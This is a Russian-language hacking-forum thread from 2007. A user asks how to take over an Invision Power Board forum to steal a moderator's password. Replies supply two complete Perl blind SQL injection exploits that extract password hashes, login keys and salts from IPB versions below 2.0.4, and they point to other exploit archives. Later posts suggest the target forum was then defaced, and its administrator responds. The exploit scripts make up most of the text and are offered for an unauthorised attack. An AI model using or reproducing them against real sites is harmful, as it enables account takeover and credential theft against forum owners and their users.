ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.io/forumdisplay.php?f=16)
-   -   В копирайтах: Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. С чем это едят? :) (https://forum.antichat.io/showthread.php?t=31122)

СССР 12.01.2007 19:42

В копирайтах: Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. С чем это едят? :)
 
собственно сабжик нашёл форум
Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc.
прочитал сдесь все темы по поводу ipb но этой версии нету может он схожа с какойто другой
собственно цель приследую захватить =) пароль модератора надоедливавого
посоветуйте с чего начать ?

zl0ba 12.01.2007 19:51

r57ipb2 - им пробуй!

PHP код:

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2 
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@
ARGV < 4) { &usage; }

$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];
$target    = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request  = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print 
"[~]    SERVER : $server\r\n";
print 
"[~]      PATH : $path\r\n";
print 
"[~] MEMBER ID : $member_id\r\n";
print 
"[~]    TARGET : $target";
print ((
$target)?(' - IPB 2.*'):(' - IPB 1.*'));
print 
"\r\n";
print 
"[~] SEARCHING PASSWORD ... [|]";

(
$cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(
1)
{
if(&
found(47,58)==0) { &found(96,122); } 
$char = $i;
if (
$char=="0") 
 { 
 if(
length($allchar) > 0){
 print 
qq{\b\b DONE ] 
 
 
MEMBER ID : $member_id
 
};
 print ((
$target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print 
$allchar."\r\n";
 }
 else
 {
 print 
"\b\b FAILED ]";
 }
 exit();  
 }
else 
 {  
  
$allchar .= chr(42);
 }
$s_num++;
}

sub found($$)
 {
 
my $fmin = $_[0];
 
my $fmax = $_[1];
 if ((
$fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 
$r = int($fmax - ($fmax-$fmin)/2);
 
$check = " BETWEEN $r AND $fmax";
 if ( &
check($check) ) { &found($r,$fmax); }
 else { &
found($fmin,$r); }
 }
 
sub crack($$)
 {
 
my $cmin = $_[0];
 
my $cmax = $_[1];
 
$i = $cmin;
 while (
$i<$cmax)
  {
  
$crcheck = "=$i";
  if ( &
check($crcheck) ) { return $i; }
  
$i++;
  }
 
$i = 0;
 return 
$i;
 }
 
sub check($)
 {
 
$n++;
 
status();
 
$ccheck = $_[0];
 
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
 
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
 
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 
$nmalykh    = "%20";
 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

 
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
 
 while(<
$socket>) 
  { 
  if (/
Set-Cookie: session_id=0;/) { return 1; }
  } 

 return 
0;
 }
 
sub status()
{
  
$status = $n % 5;
  if(
$status==0){ print "\b\b/]";  }
  if(
$status==1){ print "\b\b-]";  }
  if(
$status==2){ print "\b\b\\]"; }
  if(
$status==3){ print "\b\b|]";  }
}

sub usage()
 {
 print 
q(
 
Invision Power Board v < 2.0.4 SQL injection exploit
 
----------------------------------------------------
 
USAGE:
 ~~~~~~
 
r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [
server]    - host where IPB installed
 
[/folder/]  - folder where IPB installed
 
[member_id] - user id for brute
 
 targets
:
          
0 - IPB 1.*
          
1 - IPB 2.* (Prior To 2.0.4)
 
 
e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
 
----------------------------------------------------
 (
c)oded by 1dt.w0lf
 RST
/GHC , http://rst.void.ru , http://ghc.ru
 
);
 exit();
 } 


Ksander 12.01.2007 19:54

Цитата:

Сообщение от СССР
Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc.

Скорей всего 2.1.7

-Concord- 12.01.2007 20:03

да не скорее 2.0.0 =)

СССР 13.01.2007 14:39

такс спосибо модером что под правили -)
и так ешё вопросик !
я понел что я х.. что сам то сделаю
как можео хотябы нагадить админу в душу чтоли ?)))))

zl0ba 13.01.2007 14:49

А ты ссылку на растерзания дай, может чем то и поможем!

delay(0) 13.01.2007 14:55

СССР,
Определение версии в своей статье доходчиво описал киб. Как следствие, не ври что читал...
http://forum.antichat.ru/thread11615.html

maxster 13.01.2007 15:55

2zl0ba
если это 2.0.* лутше этот эксплойт, а то логин кей только для подмены куков нужен, а тут и хеш и соль!
PHP код:

#!/usr/bin/perl 

## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. 
## for stealing converge_pass_salt value from ipb database 
## on some ipb forums it steals the legacy_password which is the first md5 
## hash of the target password. 
## vulnerable forum versions : 2.* (<2.0.4) 
## tested on version 2.0.2 
## * work on mysql 4.0, 4.1 versions 
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
## coded by Coyl 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## screen: 
## ~~~~~~~ 
## /ipb.pl 127.0.0.1 /fo/ 1 
## [~] SERVER : 127.0.0.1 
## [~] PATH : /fo/ 
## [~] MEMBER ID : 1 
## [~] VALUE TO STEAL : 
## [~] SEARCHING THE EASIEST WAY... [ FAILED ] 
## [~] SEARCHING THE SALT [\5][ DONE ] 
## 
## SALT : UoU1o 
## 
## [~] SEARCHING THE PASS HASH [/32][ DONE ] 
## 
## PASS HASH : 1ab2bc1f32f231f234313444233d 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

use IO::Socket; 

if (@
ARGV < 3) { &usage; } 

$enum=0; 
$cookie = 1; 
$server = $ARGV[0]; 
$path = $ARGV[1]; 
$member_id = $ARGV[2]; 
$prefix = ($ARGV[3])?($ARGV[3]):("ibf_"); 



$server =~ s!(http:\/\/)!!; 

$request = 'http://'; 
$request .= $server; 
$request .= $path; 

$s_num = 1; 
$|++; 
$n = 0; 

print 
"[~] SERVER : $server\r\n"; 
print 
"[~] PATH : $path\r\n"; 
print 
"[~] MEMBER ID : $member_id\r\n"; 
print 
"[~] VALUE TO STEAL : \r\n"; 
print 
"[~] SEARCHING THE EASIEST WAY... [|0]"; 

(
$cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
$flag=0; 
$field=1; 
LOOP: while(1) 
{ 
$pass = ($field)?('converge_pass_hash'):('converge_pass_salt'); 

if(
$field) { if(&found(96,123)==0) { &found(47,58)}} 
if(!
$field&&$flag) { &found(33,126) } 

$char = $i; 

if (
$char=="0") 
{ 
if(
length($allchar) > 0){ 
print 
qq{[ DONE ] 
}; 
if (!
$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";} 
else 
{ 
print ((
$field)?("\r\n PASS HASH : "):("\r\n SALT : ")); 
print 
$allchar."\r\n\r\n"; 
$allchar=''; 
$enum=0; 
$s_num=1; 
$field++; 
if (!(
$field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP}; 
} 
} 
else 
{ 
if (!
$flag) 
{ 
print 
"$back FAILED ]\r\n"; 
print 
"[~] SEARCHING THE SALT [|0]"; 
$flag=1; 
$field=0; 
redo LOOP; 
} 
if (
$flag) 
{ 
print 
"$back FAILED ]\r\n"; 
} 
} 
exit(); 
} 
else 
{ 
$allchar .= chr($char); 
$enum++; 
}
$s_num++; 
} 

sub found($$) 
{ 
my $fmin = $_[0]; 
my $fmax = $_[1]; 
if ((
$fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; } 

$r = int($fmax - ($fmax-$fmin)/2); 
$check = " BETWEEN $r AND $fmax"; 
if ( &
check($check) ) { &found($r,$fmax); } 
else { &
found($fmin,$r); } 
} 

sub crack($$) 
{ 
my $cmin = $_[0]; 
my $cmax = $_[1]; 
$i = $cmin; 
while (
$i<$cmax) 
{ 
$crcheck = "=$i"; 
if ( &
check($crcheck) ) { return $i; } 
$i++; 
} 
$i = 0; 
return 
$i; 
} 

sub check($) 
{ 
$n++; 
status(); 
$ccheck = $_[0]; 
$non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; 
$eas="1%2527+OR+%28id%3D"; 
$pass_hash1 = ($flag)?($non):($eas); 
$pass_hash2 = "+AND+ascii%28substring%28"; 
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*"; 
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); 

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", 
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); 

while(<
$socket>) 
{ 
if (/
Set-Cookie: session_id=0;/) { 
return 
1; } 
} 


return 
0; 
} 

sub status() 
{ 
$status = $n % 5; 
if (
$enum<10) {$back="\b\b\b";} 
else {
$back="\b\b\b\b"}; 
if(
$status==0){ print "$back\\$enum]"; } 
if(
$status==1){ print "$back-$enum]"; } 
if(
$status==2){ print "$back/$enum]"; } 
if(
$status==3){ print "$back|$enum]"; } 
} 

sub usage() 
{ 
print 
q( 
Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified 
-------------------------------------------------------------------- 
USAGE: 
~~~~~~ 
r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal] 

[
server] - host where IPB installed 
[/folder/] - folder where IPB installed 
[member_id]- user id for brute 
[prefix] - database prefix \(ibf_ by default\) 

e.g. ipb.pl 127.0.0.1 / 1 ipb_ 
-------------------------------------------------------------------- 
coded by Coyl. CiaNeeD team. 
-------------------------------------------------------------------- 
greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru 
-------------------------------------------------------------------- 
); 
exit(); 
} 


_Great_ 13.01.2007 16:14

С хлебом. И молоком.
А серьезно, под 2.0.х дофига эксплоитов. search milw0rm

blackybr 13.01.2007 16:47

http://someshit.net/forumdisplay.php?f=4
пробуй

правда маловероятно что 2007 года он 2.0.0.7 (такой версии то и нет)

скорее васего либо айпи динамик, либо 2.1.7

СССР 14.01.2007 22:13

потёртто=)

Принц 15.01.2007 05:27

blackybr
У меня был один форум... 2.1.5... Ну вот я в 2006 поставил... ну и уже давно туда не ходил) а поза вчера залез, посмотрел а там 2007... %)

Skiba 19.01.2007 05:49

Значит динамик коопир. Проверяй версию по статье.

Samson 19.01.2007 10:21

<result>1</result>
<customer_id>0</customer_id>
<account_id>0</account_id>
<version_id>21012</version_id>
<version_string>v2.1.7</version_string>
<release_hash><{%dyn.down.var.md5%}></release_hash>

penguen 24.01.2007 11:20

Вопрос: Каким образом был форум подтерт?
Инъекция? Если же Да, то каким макаром.
=============================
Зы. Форум и правду, той версии, что указано выше постом.
========================
Т.к. отписыв. код здесь запрещен., плиз запостите линк или ман в ПМ или на мыло. Буду признателен.
---------------------------------------
С ув. Админ затравленного форума.
СССР чтоб ты был всегда здоровый.
А клиенту ukrcom взломав. респект и не гуд.


Время: 22:30